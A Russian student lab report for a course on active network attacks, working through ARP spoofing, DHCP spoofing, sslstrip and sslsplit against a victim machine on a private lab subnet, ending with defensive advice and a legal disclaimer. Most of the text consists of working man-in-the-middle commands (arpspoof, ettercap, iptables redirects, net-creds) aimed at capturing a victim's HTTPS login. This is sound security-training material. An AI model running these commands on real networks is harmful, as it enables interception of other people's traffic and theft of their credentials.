31.10.2023

Курс:

Практическая работа к уроку № Lesson_3

--
Активные сетевые атаки

Задание_1:

Выбрать сайт https и с помощью arpspoof перехватить данные, используя ssltrip. Сайт открыть в браузере жертвы.

Arp-spoofing — это атака L2-уровня. Разберем ее схему атаки:

1. Ожидание ARP-запроса от жертвы.
2. Прием, анализ, воздействие на пакеты обмена и передача их между взаимодействующими хостами.
3. Атакованный хост передает пакеты на ложный ARP-сервер.

```
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp —destination-port 80 -j REDIRECT —to-port 9999
sslstrip -l 9999 -w Logfile.txt
arpspoof -t 192.168.56.104 192.168.56.0
```

```
┌──(kali㉿kali)-[~]
└─$ route
```

192.168.56.104 — IP адрес жертвы
192.168.56.0 — IP адрес шлюза (шлюз узнаем командой *route*)

```
ettercap -T -M arp -o /192.168.56.104// /192.168.56.0//
ettercap -T -s «lq»
nmap -sP 192.168.56.0/24
```

Из методички:

```
arpspoof -i eth0 10.0.2.6 -t 10.0.2.1
arpspoof -i eth0 10.0.2.1 -t 10.0.2.6
arp -a
arpspoof -i eth0 -c both -t 10.0.2.1 -r 10.0.2.6
ping ya.ru

ettercap -i eth0 -T -q -M ARP /10.0.2.1/10.0.2.6/
```

```
ettercap -i eth0 -T -q -M ARP /10.0.2.1//
ettercap -G
etterfilter
ettercap -i eth0 -P autoadd -T -q -M ARP /10.0.2.1//
ettercap -i eth0 -T -q -w ettercap.pcap -M ARP /10.0.2.1/10.0.2.6/

ls /usr/share/ettercap
cat /usr/share/ettercap/etter.filter.example
```

Sslstrip базируется на том, что если в браузере вбить адрес ресурса — например, site.ru, — он сначала попытается подключиться по протоколу http. И только когда клиент подключится к серверу на порт 80/TCP, получит редирект 302 с указанием адреса https в заголовке Location.

```
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT
--to-port 8080
sslstrip -w sslstrip.log -l 8080
```

Задание_2:

(*) Выполнить задание 1, используя dhcp spoof. Разобраться, как работает dhcp spoofing, применяя Wireshark. С помощью ettercap -G запустить dhcp spoof, направив трафик жертвы на Kali linux. В Wireshark перехватить пароль на сайт https, который пытается посетить жертва.

```
echo` `"1"` `>` `/proc/sys/net/ipv4/ip_forward
ettercap -G
nmap -sn 192.168.56.0``/24
net-creds
driftnet
```

Задание_3:

(*) Выполнить задание 2, используя sslsplit. Сгенерировать сертификат, скормить его sslsplit. Если сайт перестает работать при атаке sslstrip, попробовать поработать с sslsplit.

Выводы:

Чтобы защититься, надо повышать компьютерную и информационную грамотность сотрудников: учить не скачивать расширения, не устанавливать приложения, не открывать сомнительные аттачи в почте.

Защита от ARP Spoofing
Создание VLAN на коммутаторе:

- На коммутаторе создаётся VLAN, в котором находятся только сам коммутатор и конкретное сетевое устройство.
  Создание шифрованных соединений (PPPoE, VPN и т.д.):
- Этот способ подходит и для общественных сетей, ведь весь трафик проходит в зашифрованном виде и перехватить какие-либо пользовательские данные становится

невозможно.

1. http://ettercap.github.io/ettercap/.
2. http://bit.ly/1C9ge9U (ettercap filters sample).
3. https://ru.wikipedia.org/wiki/HTTPS_Everywhere
4. https://kali.tools/?p=177
5. https://kali.tools/?p=1232
6. http://blog.regolit.com/2010/02/16/personal-ca-and-self-signed-certificates

Ссылки / дополнительные материалы

> Вся информация в данной работе представлена исключительно в ознакомительных целях! Любое использование на практике без согласования тестирования подпадает под действие УК РФ.

- https://gb.ru

Выполнил: AndreiM